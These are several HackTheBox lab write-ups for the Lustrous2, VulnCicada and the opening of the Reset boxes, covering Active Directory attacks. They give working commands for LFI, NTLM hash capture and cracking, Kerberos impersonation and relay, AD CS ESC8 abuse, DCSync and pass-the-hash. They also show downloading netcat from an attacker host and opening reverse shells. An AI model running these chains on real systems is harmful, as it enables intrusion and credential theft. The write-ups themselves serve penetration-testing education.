SMB   machine-ip  445    LUS2DC   [*]  x64 (name:LUS2DC) (domain:Lustrous2.vl) (signing:True) (SMBv1:None) (NTLM:False)
SMB   machine-ip  445    LUS2DC   [+] Lustrous2.vl\Thomas.Myers:Lustrous2024

Shares available to this user were limited to the defaults (IPC$, NETLOGON, SYSVOL) - nothing extra to read here.

Getting Kerberos working properly

LDAP enumeration with plain credentials failed (signing is enforced), so a proper Kerberos ticket was needed:

impacket-getTGT lustrous2.vl/Thomas.Myers:Lustrous2024
export KRB5CCNAME=Thomas.Myers.ccache

BloodHound collection was run using that ticket:

bloodhound-python -u Thomas.Myers -k -no-pass -d lustrous2.vl -dc lus2dc.lustrous2.vl -ns machine-ip -c All --zip

INFO: Found AD domain: lustrous2.vl
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 4 computers
INFO: Found 75 users
INFO: Found 54 groups
INFO: Found 2 gpos / 2 ous / 19 containers / 0 trusts
INFO: Compressing output into 20260701074404_bloodhound.zip

Ingested into BloodHound and marked Thomas.Myers as Owned. At this point there wasn't much of an obvious privesc path directly from BloodHound — the useful leads came from the file server itself.

Reaching the Web App (Kerberos SPN gotcha)

Visiting http://lustrous2.vl in a browser just showed 401 Unauthorized - the page literally reads "Looks like there's a problem with this site... Error code: 401 Unauthorized". It looks broken, but this is expected: the site demands SPNEGO/Kerberos "Negotiate" auth that a browser without a valid domain Kerberos ticket can't satisfy (background: see the referenced woshub article on IIS Kerberos auth, "Configuring Kerberos Authentication on IIS Website").

Getting curl --negotiate to actually succeed took some troubleshooting. A working /etc/hosts and a ticket for Thomas.Myers weren't enough — the request kept failing with a "server not found in Kerberos database" style error even though the ticket cache clearly had a valid ticket.

Root cause: /etc/hosts mapped all three names (lustrous2.vl, lus2dc.lustrous2.vl, LUS2DC.lustrous2.vl) to the same IP. MIT Kerberos's default reverse-DNS canonicalization (rdns) rewrote the target hostname used to build the Kerberos Service Principal Name (SPN) down to just lustrous2.vl — but the actual SPN registered in the KDC is HTTP/lus2dc.lustrous2.vl. So curl was requesting a ticket for a service that doesn't exist, instead of reusing the cached (correct) one.

Fix — disable that canonicalization in /etc/krb5.conf:

[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = LUSTROUS2.VL
    rdns = false
    dns_canonicalize_hostname = false
[realms]
    LUSTROUS2.VL = {
        kdc = lus2dc.lustrous2.vl
        admin_server = lus2dc.lustrous2.vl
        default_domain = Lustrous2.vl
    }
[domain_realm]
    .Lustrous2.vl = LUSTROUS2.VL
    Lustrous2.vl = LUSTROUS2.VL

rdns = false stops the reverse-DNS lookup that was collapsing the hostname, and dns_canonicalize_hostname = false stops Kerberos from doing its own forward-DNS canonicalization pass on top of that - together they force curl's GSSAPI layer to build the SPN literally from the hostname typed in the URL (lus2dc.lustrous2.vl), matching what's actually registered in the KDC.

After that, kinit + curl --negotiate succeeded:

curl -I --negotiate -u : http://lus2dc.lustrous2.vl/

HTTP/1.1 200 OK
Server: Microsoft-IIS/10.0
WWW-Authenticate: Negotiate ...
X-Powered-By: ASP.NET

Fetching the page (no more 401) showed an internal file-sharing app called LuShare, greeting "Well met, LUSTROUS2\Thomas.Myers!" and listing one downloadable file, audit.txt (same content as the FTP copy).

LFI in the Download Endpoint

The download link took a raw fileName query parameter with no path sanitization:

curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?filename=..\..\..\..\Windows\win.ini'

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

This confirmed an unauthenticated-to-anyone-logged-in path traversal / arbitrary file read. It also became clear that the download logic could be pointed at a UNC path (\\attacker-ip\share\x), meaning the server itself would attempt to reach out over SMB to a path we control - a classic NTLM auth coercion primitive.

Capturing and Cracking the Service Account's Hash

To catch that inbound SMB authentication attempt, a responder listener was started first:

sudo responder -I tun0

[+] Poisoners: LLMNR [ON]  NBT-NS [ON]  MDNS [ON]  DNS [ON]
[+] Servers:   SMB server [ON]  HTTP server [ON]  Kerberos server [ON]
[+] Listening for events...

Then the download endpoint was pointed at the listener's IP as a UNC path:

curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?filename=//your-ip/share/x'

The IIS app (running as its own service account, not us) tried to authenticate to that path over SMB, and Responder captured a NetNTLMv2 hash for LUSTROUS2\ShareSvc:

[SMB] NTLMv2-SSP Client   : machine-ip
[SMB] NTLMv2-SSP Username : LUSTROUS2\ShareSvc
[SMB] NTLMv2-SSP Hash     : ShareSvc::LUSTROUS2:<redacted-challenge>:<redacted-response-blob>

This is a NetNTLMv2 challenge/response, not the account's raw password hash — it's cryptographic proof of the password tied to a random challenge, generated fresh on each auth attempt. It can't be replayed directly (no pass-the-hash), but it can be cracked offline by trying candidate passwords against the same challenge/response math. It was saved to a file and fed to john:

cat > svc.hash << 'EOF'
ShareSvc::LUSTROUS2:<redacted-hash>
EOF
john --wordlist=/usr/share/wordlists/rockyou.txt svc.hash

Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
1g 0:00:00:06 DONE (2026-07-01 08:54) 0.1587g/s 2275Kp/s 2275Kc/s 2275KC/s

john recovered a valid plaintext password for ShareSvc (redacted) in about 6 seconds — a weak, wordlist-guessable password. Confirmed over SMB with Kerberos:

nxc smb lus2dc.lustrous2.vl -u ShareSvc -p '<redacted>' -k

SMB   lus2dc.lustrous2.vl 445    lus2dc   [+] lustrous2.vl\ShareSvc:<redacted>

ShareSvc itself had no interesting group memberships or share access in BloodHound, so this password is a dead end on its own — but it becomes very useful once the app's admin-gated /File/Debug backdoor is found below, via a Kerberos delegation trick.

Pulling the app's own source

Rather than guess at the app's logic, its own files were read off disk via the LFI:

curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?filename=../../web.config'

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <location path="." inheritInChildApplications="false">
    <system.webServer>
      <handlers>
        <add name="aspNetCore" path="*" verb="*" modules="AspNetCoreModuleV2" resourceType="Unspecified" />
      </handlers>
      <aspNetCore processPath="dotnet" arguments=".\LuShare.dll" ... hostingModel="inprocess" />
    </system.webServer>
  </location>
</configuration>
<!--ProjectGuid: 4E46018E-B73C-4E7B-8DA2-87855F22435A-->

This confirmed the app is an ASP.NET Core app run in-process by IIS as LuShare.dll. That DLL was then pulled the same way and saved locally:

curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?filename=../../LuShare.dll' --output LuShare.dll

file LuShare.dll
LuShare.dll: PE32 executable for MS Windows 4.00 (console), Intel i386 Mono/.Net assembly, 3 sections

Decompiled with ilspycmd:

ilspycmd LuShare.dll -o lushare-decompiled

What the source revealed

The site has an /File/Upload and a hidden /File/Debug action, both restricted to the ShareAdmins AD role. In _Layout.cshtml, the Debug nav link is present in the code but wrapped in an HTML comment, so it never renders in the UI even for admins - you'd only find it by reading the source:

<!--
<li class="nav-item">
    <a class="nav-link" href="...Debug">Debug</a>
</li>
-->

The two vulnerable controller actions in FileController.cs, trimmed to the relevant parts:

1. Download — no path sanitization (the LFI root cause):

public IActionResult Download(string fileName)
{
    if (string.IsNullOrEmpty(fileName))
        return NotFound();

    string path = Path.Combine(_uploadFolder, fileName);   // fileName is trusted as-is — "..\..\" and
                                                             // UNC paths ("\\host\share\x") both pass through
    if (!System.IO.File.Exists(path))
        return NotFound();
    ...
    return File(memoryStream, "application/octet-stream", fileName);
}

2. Debug — hardcoded PIN gating raw PowerShell execution:

[Authorize(Roles = "ShareAdmins")]
[HttpPost]
public IActionResult Debug(string command, string pin)
{
    string text = "ba45c518";                                 // <-- the PIN is hardcoded, baked straight into the compiled DLL
    if (string.IsNullOrWhiteSpace(command) || command.Length > 100)
        return BadRequest("Invalid or too long command.");
    if (string.IsNullOrWhiteSpace(pin) || pin != text)
        return BadRequest("Invalid PIN.");

    PowerShell val = PowerShell.Create();
    val.Runspace.SessionStateProxy.LanguageMode = (PSLanguageMode)3;  // FullLanguage — no constrained-language sandboxing
    val.AddScript(command, false);                            // <-- caller-supplied command executed verbatim
    Collection<PSObject> collection = val.Invoke();
    ...
}

Because the PIN check is pin != text against a value compiled straight into the DLL, reading the decompiled source is enough to fully bypass what looks like an access control - it's not a secret held server-side in config, it's shipped in the binary itself. Combined with [Authorize(Roles = "ShareAdmins")], the only real barrier left is being a member of ShareAdmins - and BloodHound confirmed that group has exactly two members: Ryan.Davies and Sharon.Birch, neither of whom we had credentials for yet.

Privilege Escalation to `ShareAdmins` via Kerberos S4U2self

ShareSvc runs the web app's service and — per BloodHound's node data on Ryan.Davies and Sharon.Birch — those two accounts were both marked sensitive but not protected from delegation. This allows requesting a service ticket as if we were Ryan.Davies, for the service that ShareSvc itself owns (HTTP/lus2dc.lustrous2.vl) - a Kerberos S4U2self impersonation.

impacket-getST -self -impersonate ryan.davies -k \
  'LUSTROUS2.VL/ShareSvc:<redacted-password>' \
  -altservice HTTP/lus2dc.lustrous2.vl -no-pass

Impacket v0.14.0.dev0
[*] Getting TGT for user
[*] Impersonating ryan.davies
[*] Requesting S4U2self
[*] Changing service from ShareSvc@LUSTROUS2.VL to HTTP/lus2dc.lustrous2.vl@LUSTROUS2.VL
[*] Saving ticket in ryan.davies@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache

Loading that ticket:

export KRB5CCNAME=/tmp/ryan.ccache
klist

Ticket cache: FILE:/tmp/ryan.ccache
Default principal: ryan.davies@LUSTROUS2.VL
Valid starting       Expires              Service principal
07/01/2026 09:59:58  07/01/2026 19:59:58  HTTP/lus2dc.lustrous2.vl@LUSTROUS2.VL

To make sure curl's GSSAPI layer reliably picked up this impersonated ticket instead of falling back to whatever cache it found first, a default ccache path was pinned in /etc/krb5.conf:

[libdefaults]
    default_realm = LUSTROUS2.VL
    dns_lookup_kdc = false
    dns_lookup_realm = false
    dns_canonicalize_hostname = false
    rdns = false
    default_ccache_name = FILE:/home/kali/krb5cc

Using this ticket against the web app now shows the Upload nav link and the hidden Debug page - because Ryan.Davies is a member of ShareAdmins:

curl --negotiate -u : 'http://lus2dc.lustrous2.vl'

<p class="nav navbar-text">Well met, LUSTROUS2\Ryan.Davies!</p>
...
<a class="nav-link" href="/File/Upload">Upload</a>

RCE via the `/File/Debug` Backdoor

With admin-role access and the hardcoded PIN recovered from the decompiled source, arbitrary PowerShell now executes as the app's service account:

curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' \
  -d "pin=<redacted-pin>" -d "command=whoami"

lustrous2\sharesvc

Basic recon of the filesystem through this channel:

curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' \
  -d "pin=<redacted-pin>" -d 'command=ls C:\'

C:\datastore
C:\inetpub
C:\PerfLogs
C:\Program Files
C:\Program Files (x86)
C:\Public
C:\temp
C:\Users
C:\Windows
C:\user_<redacted>.txt

C:\datastore immediately stood out as a non-standard, top-level directory — that's not something Windows creates by default, and it hinted a non-standard service had been installed here. That single directory name is what pointed the rest of the enumeration toward C:\Program Files, where a locally installed Velociraptor DFIR/endpoint-management server was found (full details in the next section).

The user flag was read through the same channel:

curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' \
  -d "pin=<redacted-pin>" -d 'command=type C:\user_<redacted>.txt'

<user flag, redacted>

The 100-character command cap made anything more than simple commands (e.g. base64-encoded PowerShell reverse shells) fail:

curl ... -d 'command=powershell -e <long base64 payload>'

Invalid or too long command.

So a short two-step approach was used instead: download a netcat binary, then execute it directly (short enough to fit the limit):

curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' -d "pin=<redacted-pin>" -d 'command=mkdir C:\temp'
curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' -d "pin=<redacted-pin>" -d 'command=iwr http://your-ip/nc64.exe -OutFile C:\temp\nc64.exe'
curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' -d "pin=<redacted-pin>" -d 'command=cmd /c C:\temp\nc64.exe your-ip 4444 -e powershell'

This popped a full interactive reverse shell:

whoami

lustrous2\sharesvc

SYSTEM via Velociraptor

Following the lead from the unusual C:\datastore directory, C:\Program Files was checked for what might own it:

dir C:\"Program Files"

C:\Program Files\Amazon
C:\Program Files\Common Files
C:\Program Files\dotnet
C:\Program Files\IIS
C:\Program Files\Internet Explorer
C:\Program Files\ModifiableWindowsApps
C:\Program Files\Velociraptor
C:\Program Files\VelociraptorServer
C:\Program Files\VMware
C:\Program Files\Windows Defender
...

Velociraptor is an open-source DFIR/endpoint-monitoring platform (background: see the referenced hackingarticles.in post, "Threat Hunting: Velociraptor for Endpoint Monitoring"). If its server config or API access can be reached, it typically allows running arbitrary VQL queries - including shell-out queries - as whatever account the Velociraptor service runs as, which on a server install is usually very highly privileged. C:\Program Files\Velociraptor itself denied access:

dir C:\"Program Files\Velociraptor"

Errors:
Access to the path 'C:\Program Files\Velociraptor' is denied.

...but the sibling VelociraptorServer directory was readable and contained client.config.yaml and server.config.yaml:

dir C:\"Program Files\VelociraptorServer"

C:\Program Files\VelociraptorServer\client.config.yaml
C:\Program Files\VelociraptorServer\server.config.yaml
C:\Program Files\VelociraptorServer\velociraptor-v0.72.4-windows-amd64.exe

Both YAML files were readable by ShareSvc. server.config.yaml embeds the CA certificate/key, GUI TLS cert/key, and the admin's password hash + salt - none of which were directly needed, since a config-based API client could be minted locally instead using the server config's own CA trust:

.\velociraptor-v0.72.4-windows-amd64.exe --config server.config.yaml config api_client \
  --name admin --role administrator \programdata\api.config.yaml

[ERROR] Unable to open file \\?\c:\datastore\config\inventory.json.db: Access is denied.
Creating API client file on \programdata\api.config.yaml.
[ERROR] Unable to open file \\?\c:\datastore\acl\admin.json.db: Access is denied.
velociraptor-v0.72.4-windows-amd64.exe: error: config api_client: Unable to set role ACL: Access is denied.

This threw Access is denied errors trying to update the datastore ACL files (C:\datastore\config\inventory.json.db, C:\datastore\acl\admin.json.db) - but it still successfully wrote out a usable api.config.yaml API client credential file before hitting those permission errors. In other words, the datastore's ACL enforcement files were locked down, but the client-credential-minting step ran first and succeeded regardless.

With that API config, Velociraptor's own query engine confirms host info and privilege level:

.\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\api.config.yaml query "SELECT * FROM info()" --format jsonl

{"Hostname":"LUS2DC","OS":"windows","Platform":"Microsoft Windows Server 2022 Standard","IsAdmin":true,"Fqdn":"LUS2DC.Lustrous2.vl","Architecture":"amd64"}

Then a direct command execution query:

.\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\api.config.yaml query \
  "SELECT * FROM execve(argv=['powershell','-c','whoami'])"

[{"Stdout":"nt authority\\system\r\n","Stderr":"","ReturnCode":0,"Complete":true}]

Confirmed SYSTEM. The same execve() VQL primitive was used to launch a full reverse shell:

.\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\api.config.yaml query \
  "SELECT * FROM execve(argv=['C:\\temp\\nc64.exe','-e','powershell','your-ip','3333'])"

Caught a shell as nt authority\system:

whoami

nt authority\system

Root flag:

cd C:\Users\Administrator\Desktop
type root.txt

<root flag, redacted>

Attack Chain (End to End)

Recon — Nmap shows a Kerberos-only AD DC; IIS site returns 401 Unauthorized with Negotiate.
Anonymous FTP leaks a full valid AD username list plus an audit note that flags weak passwords as an unresolved issue.
Kerbrute confirms all 71 harvested usernames are real accounts.
Password guess (Lustrous2024, following a <name><year> pattern) cracks Thomas.Myers.
Fix local Kerberos SPN canonicalization (rdns = false) so the DC's Kerberos-protected web app becomes reachable at all.
Discover the LuShare internal file app; abuse a path traversal in the download endpoint to read arbitrary files.
Trigger that same download endpoint against a UNC path, coercing the app's ShareSvc service account to authenticate to a Responder listener; capture and crack its NetNTLMv2 hash.
Use the LFI to pull web.config and the compiled LuShare.dll, then decompile it - revealing a hidden /File/Debug PowerShell-execution endpoint gated by a hardcoded PIN and ShareAdmins group membership.
Use ShareSvc's recovered password to perform a Kerberos S4U2self impersonation of Ryan.Davies (a ShareAdmins member), gaining admin-role access to the app without his password.
Use the now-accessible /File/Debug endpoint + hardcoded PIN to get PowerShell RCE as ShareSvc; spot the non-standard C:\datastore directory; work around the 100-char limit by staging nc64.exe for a full reverse shell.
Follow the C:\datastore lead into C:\Program Files and find a misconfigured local Velociraptor server install; mint an API client credential and use Velociraptor's execve() VQL query to run commands (and a reverse shell) as NT AUTHORITY\SYSTEM.
Read root.txt - box complete.

Key Vulnerabilities / Root Causes

Anonymous FTP on the DC leaking a full internal username list (Homes share directory names) and an internal audit note.
Predictable AD password (<MachineName><Year> pattern) - one account crackable by guessing, not brute force.
Kerberos-only web app misconfigured for discovery - a working site was returning 401 Unauthorized with Negotiate and looked broken/dead until Kerberos SPN resolution was fixed client-side (DNS canonicalization issue).
Path traversal / LFI in the file-download feature of the internal "LuShare" app — arbitrary file read as any authenticated domain user, including the app's own compiled binary and config.
Hardcoded debug backdoor (/File/Debug) in the shipped code - accepts a static, hardcoded PIN and executes arbitrary PowerShell, restricted only by an [Authorize(Roles = "ShareAdmins")] check and a 100-character command length cap.
NTLM authentication coercion - the app's download endpoint would reach out to attacker-supplied UNC paths, letting the service account's NetNTLMv2 hash be captured with Responder.
Weak service account password, cracked from the captured hash in seconds.
Kerberos S4U2self abuse - the service account can request tickets "as" other users for its own service, which was leveraged to escalate to an admin group member of the web app.
Insecure Velociraptor deployment - SYSTEM-level DFIR/endpoint-management tool installed with an accessible config directory (C:\datastore at the OS root) and API config, giving trivial SYSTEM command execution once local access was gained.

References

Configuring Kerberos Authentication on IIS Website — Windows OS Hub — background on why the site only responds to Negotiate/Kerberos and how SPNs are resolved.
Threat Hunting: Velociraptor for Endpoint Monitoring — hackingarticles.in — background on Velociraptor's architecture and query interface, used to identify the execve() privesc path.

HackTheBox: VulnCicada Writeup

Yogeshwar Peela — Wed, 01 Jul 2026 08:43:24 +0000

Summary

Started with a full nmap sweep that showed a standard Domain Controller (DNS, Kerberos, LDAP, SMB, RPC) but with two extra things worth noting: an NFS server running alongside it, and AD CS (Certificate Services) installed. Anonymous/guest SMB and LDAP were both shut down, and it turned out NTLM is disabled domain-wide - Kerberos only.

The NFS export was the actual opening: /profiles was mountable by anyone, no creds needed. Inside one of the profile folders was an image with a plaintext password hidden in it, which gave a working domain account. From there, enumeration turned up AD CS being vulnerable to ESC8 (web enrollment over HTTP). Because NTLM was off, a normal NTLM relay into ADCS didn't work, so I had to relay Kerberos itself instead, using a DNS trick to redirect the DC's own coerced authentication into a rogue relay server. That got a certificate for the DC's machine account, which turned into a TGT + NT hash, which turned into a DCSync, which turned into the Administrator hash, which turned into a SYSTEM shell.

Recon

nmap -A -Pn <machine-ip> -oA nmap

-Pn because AD boxes often block ICMP and I don't want nmap deciding the host is down. -A grabs versions, OS guess and default scripts in one go.

53/tcp    domain          Simple DNS Plus
80/tcp    http            Microsoft IIS httpd 10.0
88/tcp    kerberos-sec
111/tcp   rpcbind          -> nfs (2049), mountd
135,139,445  msrpc / netbios-ssn / microsoft-ds
389,636,3268,3269  ldap / ldaps (Domain: cicada.vl)
464/tcp   kpasswd5
593/tcp   ncacn_http
2049/tcp  mountd/nfs
3389/tcp  ms-wbt-server
5985/tcp  WinRM

Straightforward DC (DC-JPQ225.cicada.vl), but NFS on a Windows DC is unusual and worth poking at, and port 80 later turns out to be the ADCS web enrollment page.

Ruling out the easy stuff

nxc smb <machine-ip> -u '' -p ''
nxc smb <machine-ip> -u 'guest' -p ''
nxc ldap <machine-ip> -u '' -p ''

All three came back STATUS_NOT_SUPPORTED, which is the tell for NTLM being disabled entirely on this domain — it's Kerberos-only. That one detail ends up shaping the whole rest of the box.

Added the DC to /etc/hosts so Kerberos SPNs resolve properly later:

echo '<machine-ip> cicada.vl DC01.cicada.vl dc01.cicada.vl' >> /etc/hosts

NFS — the actual foothold

rpcinfo -p <machine-ip>
showmount -e <machine-ip>

Export list for <machine-ip>:
/profiles (everyone)

(everyone) means it's exported with zero access restriction — mount it from anywhere:

mkdir -p /mnt/profiles
mount -t nfs <machine-ip>:/profiles /mnt/profiles

ls /mnt/profiles
tree -a

.
├── Administrator
│   ├── Documents
│   │   ├── $RECYCLE.BIN
│   │   │   └── desktop.ini
│   │   └── desktop.ini
│   └── vacation.png
├── Daniel.Marshall
├── Debra.Wright
├── Jane.Carter
├── Jordan.Francis
├── Joyce.Andrews
├── Katie.Ward
├── Megan.Simpson
├── Richard.Gibbons
├── Rosie.Powell
│   ├── Documents
│   │   ├── $RECYCLE.BIN
│   │   │   └── desktop.ini
│   │   └── desktop.ini
│   └── marketing.png
└── Shirley.West

16 directories, 6 files

One folder per domain user (roaming profiles), and two stray image files sitting in there: Administrator/vacation.png and Rosie.Powell/marketing.png.

cp Administrator/vacation.png /home/kali/htb/vuln
cp Rosie.Powell/marketing.png /home/kali/htb/vuln

(pics below)

vacation.png was just a vacation photo, nothing in it. marketing.png was weird — it wouldn't open properly in a Linux image viewer but opened fine on Windows, which usually means there's extra data appended after the actual image data. Opening it on Windows showed a little note with a plaintext password:

Cicada123

sitting right there in Rosie Powell's profile folder, so the obvious guess is it's her password.

Confirming the leaked creds

nxc smb <machine-ip> -u Rosie.Powell -p Cicada123

Failed with STATUS_NOT_SUPPORTED again — right, NTLM's off. Add -k to force it through Kerberos instead:

nxc smb <machine-ip> -u Rosie.Powell -p Cicada123 -k

That worked — cicada.vl\Rosie.Powell:Cicada123 is valid.

Mapping the domain

nxc smb <machine-ip> -u Rosie.Powell -p Cicada123 -k --users
nxc smb <machine-ip> -u Rosie.Powell -p Cicada123 -k --shares
nxc smb <machine-ip> -u Rosie.Powell -p Cicada123 -k --rid-brute

Basic sweep of users, shares, and SIDs now that there's a valid account to enumerate with.

Shares worth noting:

CertEnroll   READ    Active Directory Certificate Services share
profiles$    READ,WRITE

CertEnroll confirms AD CS is running here, which is where this is heading next.

Grabbed a proper Kerberos ticket so tools that expect a ccache instead of a raw password work cleanly:

impacket-getTGT cicada.vl/Rosie.Powell:Cicada123
export KRB5CCNAME=Rosie.Powell.ccache
klist

AD CS — ESC8

certipy find -u 'Rosie.Powell@cicada.vl' -p 'Cicada123' -k \
  -target DC-JPQ225.cicada.vl -vulnerable -stdout

certipy find -vulnerable checks every template and the CA config against the known ESC1–ESC16 misconfig list automatically instead of having to eyeball ACLs by hand.

Web Enrollment
  HTTP  Enabled: True
  HTTPS Enabled: False
...
[!] Vulnerabilities
  ESC8: Web Enrollment is enabled over HTTP.

ESC8 basically means the certificate enrollment page (/certsrv/certfnsh.asp) accepts requests over plain HTTP, which can't do Kerberos/NTLM signing. That makes it relayable - whatever authentication we manage to capture or redirect can be forwarded straight into a cert request as that identity.

First relay attempt (and why it didn't work)

certipy relay -target 'http://dc-jpq225.cicada.vl' -template DomainController -debug

Stands up a rogue SMB listener waiting for something to relay into the ADCS endpoint. To get the DC talking to us, threw the usual coercion tricks at it:

nxc smb <machine-ip> -u Rosie.Powell -p Cicada123 -d cicada.vl \
  -k -M coerce_plus -o LISTENER=<your-ip>

coerce_plus tries DFSCoerce, PetitPotam, PrinterBug and MS-EVEN all at once to make the DC open a connection back to us. All three came back "Exploit Success," but the certipy relay session just sat there and timed out. Makes sense in hindsight — since NTLM is disabled, the DC's coerced connection is authenticating with Kerberos, and a normal relay setup has nothing to do with that.

The actual technique - relaying Kerberos itself

Went looking for how people deal with Kerberos-only environments for this kind of attack, and found two good writeups on it:

The gist: when a Windows client resolves the SPN for an outgoing Kerberos SMB connection, it appends a Base64 "target info" blob onto the end of the hostname behind the scenes (CredMarshalTargetInfo). If you register a DNS record whose name is <hostname><that marshaled blob>, the client requests a Kerberos ticket for the short, real SPN (e.g. cifs/DC-JPQ225) — but the actual TCP connection goes wherever that DNS record points, because Windows strips the extra blob back off before it ever reaches the Kerberos layer. So you get a legit AP_REQ for the real service, delivered to whatever IP you want.

Built the marshaled blob and registered it as a DNS record pointing at my box:

bloodyAD -k --host DC-JPQ225.cicada.vl -d cicada.vl -u Rosie.Powell -p Cicada123 \
  add dnsRecord "DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" <your-ip>

Checked it resolved:

dig @<machine-ip> DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.cicada.vl A +time=5
...
;; ANSWER SECTION:
...  IN A <your-ip>

Spun up krbrelayx instead of ntlmrelayx, since it actually understands Kerberos AP_REQ messages on its SMB listener and can hand them straight to the ADCS relay module:

python3 krbrelayx.py -t 'http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp' \
  --adcs --template DomainController -v 'DC-JPQ225$'

Then coerced the DC again, this time pointing it at the poisoned DNS name instead of a plain IP:

nxc smb <machine-ip> -u Rosie.Powell -p Cicada123 -d cicada.vl -k \
  -M coerce_plus -o LISTENER="DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" METHOD=Petitpotam

This time it landed:

[*] SMBD: Received connection from <machine-ip>
[*] HTTP server returned status code 200, treating as a successful login
[*] Generating CSR...
[*] GOT CERTIFICATE! ID 89
[*] Writing PKCS#12 certificate to ./DC-JPQ225.pfx

Now sitting on a valid certificate for the domain controller's own machine account.

Turning the cert into domain compromise

certipy auth -pfx DC-JPQ225.pfx -dc-ip <machine-ip>

certipy auth does PKINIT with the cert to pull a real TGT for DC-JPQ225$, and along the way also grabs its NT hash.

[*] Got TGT
[*] Saving credential cache to 'dc-jpq225.ccache'
[*] Got hash for 'dc-jpq225$@cicada.vl': aad3b435...:a65952c664e9cf5de60195626edbeee3

export KRB5CCNAME=dc-jpq225.ccache
klist

Machine accounts on a DC have replication rights baked in (same rights DCSync abuses), so with a valid ticket as DC-JPQ225$ a DCSync just works:

impacket-secretsdump -k -no-pass cicada.vl/dc-jpq225\$@dc-jpq225.cicada.vl

That dumped every account's hashes. Only really needed Administrator, so a scoped rerun:

impacket-secretsdump -k -no-pass -just-dc-user Administrator \
  cicada.vl/dc-jpq225\$@dc-jpq225.cicada.vl

Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a0da53871a9d56b6cd05deda3a5e87:::
Administrator:aes256-cts-hmac-sha1-96:f9181ec2...
Administrator:aes128-cts-hmac-sha1-96:926e5da4...

(the full run also pulled NT/AES/DES keys for the rest of the domain users, krbtgt, and the DC's own account - leaving that out here since only Administrator's hash was needed to finish)

Getting a shell

impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:85a0da53871a9d56b6cd05deda3a5e87 \
  -k cicada.vl/Administrator@dc-jpq225.cicada.vl -dc-ip <machine-ip>

Pass-the-hash straight into psexec, routed through Kerberos with -k since that's what the domain wants. No cracking needed, the NT hash alone is enough to authenticate.

C:\Windows\system32> cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop> dir
 09/15/2024  06:26 AM      2,304 Microsoft Edge.lnk
 06/30/2026  11:36 PM         34 root.txt
 06/30/2026  11:36 PM         34 user.txt

C:\Users\Administrator\Desktop> type user.txt
[REDACTED]

C:\Users\Administrator\Desktop> type root.txt
[REDACTED]

Domain Admin, done.

Key Vulnerabilities

NFS export /profiles mountable by (everyone) with no authentication at all.
Plaintext password sitting inside an image file on that share.
AD CS misconfigured with ESC8 — web enrollment enabled over HTTP, no signing enforced.
Coercion methods (PetitPotam, DFSCoerce, PrinterBug, MS-EVEN) all working against the DC.
The Kerberos SPN target-info stripping behavior let a coerced Kerberos connection be redirected to an attacker host via a crafted DNS record, even with NTLM fully disabled.
DC machine account has default replication rights, making DCSync possible once its identity was captured.

Attack Chain

Anonymous NFS mount (/profiles exported to everyone)
└── Plaintext password found in marketing.png (Rosie.Powell:Cicada123)
    └── Valid domain login (Kerberos-only, NTLM disabled)
        └── AD CS enumerated → ESC8 (HTTP web enrollment, no signing)
            └── Coercion (PetitPotam) + DNS SPN trick + krbrelayx
                └── Kerberos AP_REQ relayed into ADCS HTTP endpoint
                    └── Certificate issued for DC-JPQ225$ (DomainController template)
                        └── PKINIT (certipy auth) → TGT + NT hash for DC-JPQ225$
                            └── DCSync (secretsdump) using DC machine account
                                └── Administrator NT hash recovered
                                    └── Pass-the-hash + Kerberos (psexec)
                                        └── SYSTEM shell on DC-JPQ225

HackTheBox: Reset Writeup

Yogeshwar Peela — Wed, 01 Jul 2026 06:32:24 +0000

Summary

Reset is a Linux box built around a chain of web application logic flaws and a legacy authentication misconfiguration. Initial access starts with a password reset endpoint that leaks the new admin password directly in its JSON response, granting admin access to a log-viewer dashboard. That dashboard has an unvalidated file-path parameter (LFI), which is chained with Apache access-log poisoning (injecting PHP via the User-Agent header) to achieve remote code execution as www-data. From there, group membership (adm) exposes the user flag. Privilege escalation to a second user (sadm) abuses a hosts.equiv host-based trust misconfiguration exploitable via the legacy rlogin service, requiring no password. Finally, a misconfigured sudo rule permitting nano is escaped via GTFOBins to obtain a root shell and the root flag.

1. Reconnaissance

1.1 Nmap Scan

nmap -A -Pn <MACHINE_IP> -oA nmap

Port	Service	Version
22/tcp	ssh	OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp	http	Apache httpd 2.4.52 (Ubuntu) — "Admin Login"
512/tcp	exec	netkit-rsh rexecd
513/tcp	login	rlogind
514/tcp	shell	Netkit rshd

The presence of the legacy r-services (rexec, rlogin, rsh on 512–514) is unusual for a modern box and hints that host-based trust authentication (.rhosts / hosts.equiv) will be relevant later.

The PHPSESSID cookie was flagged as missing the httponly flag by http-cookie-flags.

2. Web Enumeration

Browsing to http://<MACHINE_IP>/ presents an Admin Login page (Bootstrap 3.3.7 themed) with a "Forgot Password?" modal that POSTs a username to reset_password.php via AJAX.

<form id="resetPasswordForm">
